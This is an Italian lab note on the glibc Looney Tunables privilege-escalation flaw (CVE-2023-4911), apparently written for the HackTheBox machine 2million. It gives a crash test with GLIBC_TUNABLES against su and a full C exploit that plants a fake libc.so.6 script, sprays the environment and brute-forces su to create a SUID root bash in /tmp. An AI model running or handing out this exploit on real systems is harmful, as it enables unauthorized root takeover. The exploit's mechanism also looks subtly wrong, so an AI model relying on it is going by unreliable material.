tags: Looney_Tunables CVE-2023-4911 glibc_vulnerability


La glibc (GNU C Library) è la libreria fondamentale di Linux che definisce le chiamate di sistema (come open, read, malloc). È presente praticamente su ogni distribuzione Linux.

Perché si chiama così?

È un gioco di parole tra “Looney Tunes” (i cartoni animati) e “TUNABLES” (la variabile d’ambiente colpevole).

Versioni colpite

Le versioni colpite sono glibc dalla 2.34 alla 2.38 (copre Ubuntu 22.04/23.04, Debian 12/13, Fedora 37/38, Kali Linux recenti pre-patch).

Impatto

Poiché il loader viene eseguito con gli stessi permessi del processo che sta caricando, se lanciamo un binario SUID (come su, sudo, passwd) e riusciamo a corrompere la memoria prima che il programma inizi, otteniamo l’esecuzione di codice come root.

Verifica della vulnerabilità

Per verificare se la versione presente nella macchina è vulenerabile possiamo lanciare il seguente comando:

ldd --version

Se è compresa tra 2.34 alla 2.38 allora è vulnerabile.

Un altro metodo è il seguente:

GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A su --help

Come interpretare il risultato

  1. Risultato: Segmentation fault (o Errore di segmentazione)

    • Verdetto: VULNERABILE.

    • Significato: L’overflow è avvenuto. Il sistema è sfruttabile. L’exploit che sta girando è corretto, è solo una questione di sfortuna con l’ASLR (Address Space Layout Randomization).

    • Azione: Continua a far girare lo script. Se supera i 10 minuti, interrompilo (Ctrl+C) e riavvialo. Riavviare cambia il PID e lo stato della memoria, il che a volte aiuta a trovare l’offset giusto più velocemente.

  2. Risultato: Output dell’help di su (normale)

    • Verdetto: NON VULNERABILE (PATCHATO).

    • Significato: Il loader ha gestito correttamente l’input malformato ignorandolo.

    • Azione: Se vedi questo, l’exploit non funzionerà mai. Tuttavia, su 2million.htb (essendo una macchina vecchia che simula un ambiente specifico), dovrebbe essere vulnerabile al 100%.

Exploitazione

Se la versione presente è vulnerabile possiamo utlizzare il seguente exploit:

/*
 * CVE-2023-4911 (Looney Tunables) - Generic C Exploit
 * * Target: Linux glibc 2.34 - 2.38
 * Description: Buffer overflow in ld.so handling GLIBC_TUNABLES environment variable.
 * Allows local privilege escalation to root via SUID binaries (e.g., su).
 *
 * Usage:
 * gcc looney_tunables_exploit.c -o exploit
 * ./exploit
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
 
// La stringa magica che causa l'overflow nel loader dinamico
#define MALICIOUS_DIR "glibc.malloc.mxfast=glibc.malloc.mxfast=A"
 
int main(void) {
    char *env[0x1000];   // Array per le variabili d'ambiente
    char buf[0x1000];    // Buffer per costruire la stringa TUNABLES
    int i;
    int fd;
    
    printf("[*] CVE-2023-4911 Exploit by HackTheBox Player\n");
    printf("[*] Setting up the malicious environment...\n");
 
    /* * STEP 1: Creazione della struttura di directory
     * Creiamo una directory con il nome esatto che verrà cercato da ld.so
     * a causa dell'overflow. Usiamo percorsi relativi (.) per essere generici.
     */
    if (mkdir(MALICIOUS_DIR, 0777) < 0) {
        // Ignora l'errore se la directory esiste già
        // perror("mkdir failed (might exist)"); 
    }
    
    /* * STEP 2: Creazione del Payload (libc.so.6)
     * Creiamo un file che simula la libreria standard C.
     * Quando ld.so carica questa "libreria", eseguirà il nostro codice.
     * * NOTA: Qui usiamo un trucco. Scriviamo uno script shell invece di un ELF compilato.
     * In molti casi, ld.so proverà a eseguirlo se il mapping fallisce in un certo modo,
     * oppure sfruttiamo il comportamento di esecuzione diretta.
     * * Payload: Copia /bin/bash in /tmp/kshell e gli dà i permessi SUID (root).
     */
    char payload_path[256];
    snprintf(payload_path, sizeof(payload_path), "%s/libc.so.6", MALICIOUS_DIR);
 
    fd = open(payload_path, O_CREAT | O_RDWR | O_TRUNC, 0777);
    if (fd < 0) {
        perror("[-] Error creating payload file");
        return 1;
    }
 
    // Script malevolo che verrà eseguito come root
    const char *script = "#!/bin/sh\n"
                         "cp /bin/bash /tmp/pwned_root\n"
                         "chmod 4755 /tmp/pwned_root\n" // 4755 = SUID bit
                         "echo 'ROOT SHELL CREATED at /tmp/pwned_root'\n";
                         
    write(fd, script, strlen(script));
    close(fd);
    
    // Assicuriamoci che sia eseguibile
    chmod(payload_path, 0777);
 
    /* * STEP 3: Preparazione dell'Environment (Spray)
     * Riempiamo l'ambiente con la stringa corrotta per massimizzare
     * le probabilità di colpire l'offset giusto in memoria (ASLR).
     */
    for (i = 0; i < 0xfff; i++) {
        sprintf(buf, "GLIBC_TUNABLES=%s", MALICIOUS_DIR);
        env[i] = strdup(buf);
    }
    env[i] = NULL; // Terminatore array
 
    printf("[*] Starting brute force on /usr/bin/su (Ctrl+C to stop)...\n");
 
    /* * STEP 4: Attack Loop (Brute Force)
     * Eseguiamo ciclicamente un binario SUID (su) con l'ambiente corrotto.
     */
    int attempts = 0;
    while (1) {
        attempts++;
        if (attempts % 100 == 0) {
            printf("\r[*] Attempts: %d", attempts);
            fflush(stdout);
        }
 
        pid_t pid = fork();
        if (pid == 0) {
            // Child process: Esegue 'su'
            // Redirigiamo stderr a /dev/null per non vedere gli errori di SegFault
            int null_fd = open("/dev/null", O_WRONLY);
            dup2(null_fd, 2); 
            close(null_fd);
 
            execle("/usr/bin/su", "su", "--help", NULL, env);
            exit(1); // Se execle fallisce
        }
        
        // Parent process: Aspetta il figlio
        int status;
        waitpid(pid, &status, 0);
 
        // Verifica se il file SUID è stato creato
        struct stat st;
        if (stat("/tmp/pwned_root", &st) == 0) {
            if (st.st_uid == 0 && (st.st_mode & S_ISUID)) {
                printf("\n\n[+] SUCCESS! Root shell created after %d attempts.\n", attempts);
                printf("[+] Spawning root shell now...\n");
                
                // Pulisce l'ambiente per la shell finale
                char *clean_argv[] = {"/tmp/pwned_root", "-p", NULL}; 
                char *clean_env[] = {NULL};
                execve("/tmp/pwned_root", clean_argv, clean_env);
                
                exit(0);
            }
        }
    }
    return 0;
}
 
gcc exploit.c -o exploit
 
chmod +x exploit
 
./exploit
 

Ci può impiegare parecchio tempo (dopo 10 min interrompi e rilancia) per ottenere il root